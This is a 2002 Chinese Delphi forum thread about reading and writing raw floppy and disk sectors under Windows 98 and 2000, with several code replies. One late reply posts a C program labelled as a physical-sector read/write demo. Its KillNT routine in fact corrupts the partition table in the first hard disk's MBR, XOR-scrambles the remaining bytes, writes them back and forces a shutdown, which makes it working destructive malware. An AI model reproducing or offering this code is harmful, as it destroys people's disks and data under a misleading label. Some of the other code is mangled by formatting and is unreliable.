救我，我想知道2000下如何直接读取和写入软盘的0扇区？(100分)

zswenyun · 2002-06-12

我知道2000下用createfile('//./A:',GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);  与=WriteFile()可以写入软盘，但是若我想指定一个扇区的话不自怎么做

zswenyun · 2002-06-12

用DeviceIoControl好象不行

zswenyun · 2002-06-12

若你回答出来了，在 http://www.delphibbs.com/delphibbs/dispq.asp?lid=1144635 还有100分

zswenyun · 2002-06-13

没人知道吗？

qgr · 2002-06-13

zswenyun · 2002-06-14

大富翁的高手都那里去了？ 是不是现在都只剩下我们这些菜鸟了？

zyycc · 2002-06-14

这可能吗？我觉得是否问微软工程师好些。

zswenyun · 2002-06-14

那换一种问法： 我用createfile('//./A:',GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);  与=WriteFile()可以写入软盘后，我怎么知道这次写入是写在软盘的那个部位呢？

Xxfeng · 2002-06-14

var   hd,ps:THandle;   buf:array[0..1024-1] of byte;   dwStartSector,wSectors:integer; begin   StartSec:=StrToInt(EdtStart.Text);   SecCount:=StrToInt(EdtCount.Text);   FillChar(buf,1024,0);   hd:=createfile('//./A:',GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);   SetFilePointer(hd,512*dwStartSector,0,FILE_BEGIN);   ps:=0;   ReadFile(hd,buf,512*wSectors,ps,0);   CloseHandle(hd); end; 期中 dwStartSector 是开始扇区，wSectors 是扇区数 拿分来[

][

]

zswenyun · 2002-06-17

》》：Xxfeng  那磁道数在那里确定呢？

Xxfeng · 2002-06-17

根据软盘格式自己算磁道数，然后再用SetFilePointer定位

zswenyun · 2002-06-18

>>Xxfeng   能教我怎么算吗？ 另外在http://www.delphibbs.com/delphibbs/dispq.asp?lid=1144635 还有100分，与这是同一问题， 问题解决后请到那里拿分。

深之蓝 · 2002-06-18

如果有分的话，，，。 我在做“软件防盗版”时，解决了该问题，还包括光盘、硬盘等，但这不仅是分的问题了。 My E-Mail:toyzn@godnet.biz

zswenyun · 2002-06-18

>>深之蓝 你若知道怎么读指定的软盘扇区的话教教我好吗， 至于其它的我还不想了解太多，毕竟我不是搞这方面的

zswenyun · 2002-06-19

帮我看一下下面的程序 程序如下： unit Unit1; interface uses   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,   StdCtrls, ComCtrls; type INT13Regs = record      buffer

ointer;//EBX寄存器       Drive:BYTE;//磁盘号,dl      Head:BYTE;//刺头号,dh      EDX_Hight:WORD;//EDX寄存器      Sector:BYTE;//起始扇区号,cl      Track:BYTE;//磁道号,ch      ECX_Hight:WORD;//ECX寄存器      Number:BYTE;//要读写的扇区数,al      CMD:BYTE;//命令：2—读，3—写，5—格式化,ah      EAX_Hight:WORD;//EAX寄存器      EDI

WORD;//EDI寄存器      ESI

WORD;//ESI寄存器      Flags

WORD;//Flags      end;      TVWin32CtlCode = (ccNone,ccVWin32Intloctl,ccVWin32Int26,ccVWin32Int25,ccVWin32Int13); type   TForm1 = class(TForm)     Button1: TButton;     Button2: TButton;     Button3: TButton;     Button4: TButton;     edit1: TEdit;     RichEdit1: TRichEdit;     Edit2: TEdit;     Edit3: TEdit;     Label1: TLabel;     Label2: TLabel;     Button5: TButton;     Label3: TLabel;     Edit4: TEdit;     Button6: TButton;     Edit5: TEdit;     Label4: TLabel;     procedure Button1Click(Sender: TObject);     procedure Button2Click(Sender: TObject);     procedure Button3Click(Sender: TObject);     procedure Button4Click(Sender: TObject);     procedure Button5Click(Sender: TObject);     procedure Button6Click(Sender: TObject);   private     { Private declarations }   public     { Public declarations }   end; var   Form1: TForm1; implementation {$R *.DFM} /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// procedure TForm1.Button1Click(Sender: TObject);//98下读取 var hDev:thandle;     Abuffer,LPRET:array[0..511] of char;//定义缓冲区，放置读取扇区数据     int13_registers:INT13Regs;//定义INT13中断的寄存器结构变量     b_int13_registers,AA:boolean;     TCOUNT

WORD;     i,j:integer;     Tempstr:string; begin hDev:=CreateFile('//./VWIN32 ',0,0,NIL,0,FILE_FLAG_DELETE_ON_CLOSE,0); int13_registers.buffer:=@Abuffer; int13_registers.Drive:=0;//0-软盘A；1—软盘B；0x80-硬盘c  int13_registers.Head:=0;//0面  int13_registers.Track:=0;//0磁到道 int13_registers.Sector:=0;//0扇区 int13_registers.Number:=1; int13_registers.CMD:=2;//读操作 b_int13_registers:=FALSE; AA:=DeviceioControl(hDev,ord(ccVWin32Int13),@int13_registers,sizeof(INT13Regs),@int13_registers,sizeof(INT13Regs),TCOUNT,NIL); CLOSEHANDLE(hDev); //AA:=b_int13_registers;   for i:=0 to 511do       begin       Edit1.text:=Edit1.text+Abuffer;       end;   end; end; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// procedure TForm1.Button2Click(Sender: TObject);//98下写 var hDev:thandle;     Abuffer,LPRET:array[0..511] of char;//定义缓冲区，放置读取扇区数据     int13_registers:INT13Regs;//定义INT13中断的寄存器结构变量     b_int13_registers,aa:boolean;     TCOUNTWORD;     i:integer; begin hDev:=CreateFile('//./VWIN32 ',0,0,NIL,0,FILE_FLAG_DELETE_ON_CLOSE,0); for i:=0 to 511 do     begin     Abuffer:='b';     end; int13_registers.buffer:=@Abuffer; int13_registers.Drive:=0;//0-软盘A；1—软盘B；0x80-硬盘c int13_registers.Head:=0;  int13_registers.Track:=0; int13_registers.Sector:=0; int13_registers.Number:=1; int13_registers.CMD:=3;//写入 b_int13_registers:=DeviceioControl(hDev,4,@int13_registers,sizeof(INT13Regs),@int13_registers, sizeof(INT13Regs),TCOUNT,NIL); CLOSEHANDLE(hDev); end; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// procedure TForm1.Button3Click(Sender: TObject);//2000下读 var hDev:Thandle;     dwRet:dword;     RBuffer:array[0..511] of char;     Tempstr:string;     i,j:integer;     tcount:boolean;     dwStartSector:integer; begin   dwStartSector:=0;//起始位置   hDev:=createfile('//./A:',GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);   SetFilePointer(hDev,512*dwStartSector,0,FILE_BEGIN);   dwRet:=0;   tcount:=ReadFile(hDev,RBuffer,512,dwRet,0);   for i:=0 to 511 do       begin       Edit1.text=Edit1.text+RBuffer;       end;     closehandle(hDev); end; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// procedure TForm1.Button4Click(Sender: TObject);//2000下写入 var hDev:Thandle;     dwRet:dword;     RBuffer:array[0..511] of char;     Tempstr:string;     i:integer;      tcount:boolean;      dwStartSector:integer; begin   dwStartSector:=0;   hDev:=createfile('//./A:',GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);   SetFilePointer(hDev,512*dwStartSector,0,FILE_BEGIN);   dwRet:=0;   for i:=0 to 511 do       begin       RBuffer:='a';       end;  tcount:=WriteFile(hDev,RBuffer,512,dwRet,0);  closehandle(hDev); end; //我不知道2000下这样写入软盘，是不是写入0面0磁道0扇区， 我先用98下的写入在98下写入软盘，然后再在2000下读出， 但是读出的不是98下写入的内容，而2000下写入，98下读取也一样

manfeel · 2002-06-22

关注！

ForDelphi · 2002-06-26

ShlWapi有系统中断接口，是未公开的API，你可以反编译一下shell32.dll，看它是怎么调用ShlWapi中的int13接口的。

zswenyun · 2002-06-26

>>to ForDelphi 你有反编译出来吗？告诉我一下把！ 我可不知道用什么工具来反编译

yzhshi · 2002-06-27

把我这里有的两个都给你贴出来吧，希望对你有用 ＝＝＝＝＝＝＝＝＝1、硬盘MBR读写＝＝＝＝＝＝＝＝＝＝＝＝ procedure TForm1.Button1Click(Sender: TObject); var  hFile:THandle ;      bytesread

WORD;      buf: array[0..511] of char ;      Security: TSecurityAttributes; begin  hFile:=CreateFile('//./PhysicalDrive0',GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, nil ,OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN,0);   if hFile=INVALID_HANDLE_VALUE then   begin     ShowMessage('No file exists yet.' );     Exit;   end;   if not  ReadFile(hFile, buf, sizeof(buf), bytesread, nil) then showmessage('Error'); end; ＝＝＝＝＝＝＝＝＝＝＝2、C语言的＝＝＝＝＝＝＝＝＝＝＝＝＝＝ //演示如何在Windows NT/2000下对硬盘物理扇区读写 #include <windows.h> #include <winioctl.h> //--------------------------------------------------------------------------- void WINAPI ExitWin() {    HANDLE hProcess,   hToken;    TOKEN_PRIVILEGES   NewState;    DWORD ProcessId,   ReturnLength = 0;    LUID               luidPrivilegeLUID;    ProcessId = GetCurrentProcessId();    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);    OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID);    NewState.PrivilegeCount = 1;    NewState.Privileges[0].Luid = luidPrivilegeLUID;    NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))       ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0); } void WINAPI KillNT() {   HANDLE                  hDevice;   TCHAR                   szDevicename[64];   LPTSTR                  szBuff;   DISK_GEOMETRY           Geometry;   BOOL                    bRet;   DWORD                   bytes,bread,count;   int i;   char *drive = "0";   wsprintf(szDevicename,"////.//PHYSICALDRIVE%c",*drive);   hDevice = CreateFile( szDevicename,                         GENERIC_READ|GENERIC_WRITE,                         FILE_SHARE_READ|FILE_SHARE_WRITE,                         NULL,                         OPEN_EXISTING,                         0,                         NULL                       );    if (hDevice == INVALID_HANDLE_VALUE)    {        MessageBox(NULL,"打开设备出错",NULL,MB_OK);        ExitProcess(0);    }   DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);   DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);   szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);   if ( szBuff == NULL)   {       MessageBox(NULL,"分配内存出错",NULL,MB_OK);       ExitProcess(0);   }   bytes = 512;   bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL);   if (bRet==FALSE || bread<512)   {      MessageBox(NULL,"读MBR出错",NULL,MB_OK);      ExitProcess(0);   }   *(szBuff + 0x1be) = 0x80;   *(szBuff + 0x1bf) = 0x00;   *(szBuff + 0x1c2) = 0x05;   for ( i = 0x1c3; i < 510; i++ )   {       *(szBuff + i) ^= 0x926;   }   DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);   CloseHandle(hDevice);   wsprintf(szDevicename,"////.//PHYSICALDRIVE%c",*drive);   hDevice = CreateFile( szDevicename,                         GENERIC_READ|GENERIC_WRITE,                         FILE_SHARE_READ|FILE_SHARE_WRITE,                         NULL,                         OPEN_EXISTING,                         0,                         NULL                       );   if ( hDevice == INVALID_HANDLE_VALUE)   {      MessageBox(NULL,"打开设备出错",NULL,MB_OK);      ExitProcess(0);   }   DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);   DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);   bRet = WriteFile(hDevice,szBuff,bytes,&bread,NULL);   if (bRet==FALSE || bread<512)   {      MessageBox(NULL,"写MBR出错",NULL,MB_OK);      ExitProcess(0);   }   DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);   HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff);   CloseHandle(hDevice);   ExitWin(); } void WINAPI OSVer() {    OSVERSIONINFO osi;    osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);    if (GetVersionEx(&osi))    {      if ( osi.dwPlatformId == VER_PLATFORM_WIN32_NT)           KillNT();    } } WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {         OSVer();         return 0; } 作者 sinister@whitecell.org

不能没有你 · 2002-06-28

关注

救我，我想知道2000下如何直接读取和写入软盘的0扇区？(100分)

zswenyun

Unregistered / Unconfirmed

zswenyun

Unregistered / Unconfirmed

zswenyun

Unregistered / Unconfirmed

zswenyun

Unregistered / Unconfirmed

qgr

Unregistered / Unconfirmed

zswenyun

Unregistered / Unconfirmed

zyycc

Unregistered / Unconfirmed

zswenyun

Unregistered / Unconfirmed

Xxfeng

Unregistered / Unconfirmed

zswenyun

Unregistered / Unconfirmed

Xxfeng

Unregistered / Unconfirmed

zswenyun

Unregistered / Unconfirmed

深之蓝

Unregistered / Unconfirmed

zswenyun

Unregistered / Unconfirmed

zswenyun

Unregistered / Unconfirmed

manfeel

Unregistered / Unconfirmed

ForDelphi

Unregistered / Unconfirmed

zswenyun

Unregistered / Unconfirmed

yzhshi

Unregistered / Unconfirmed

不能没有你

Unregistered / Unconfirmed

Similar threads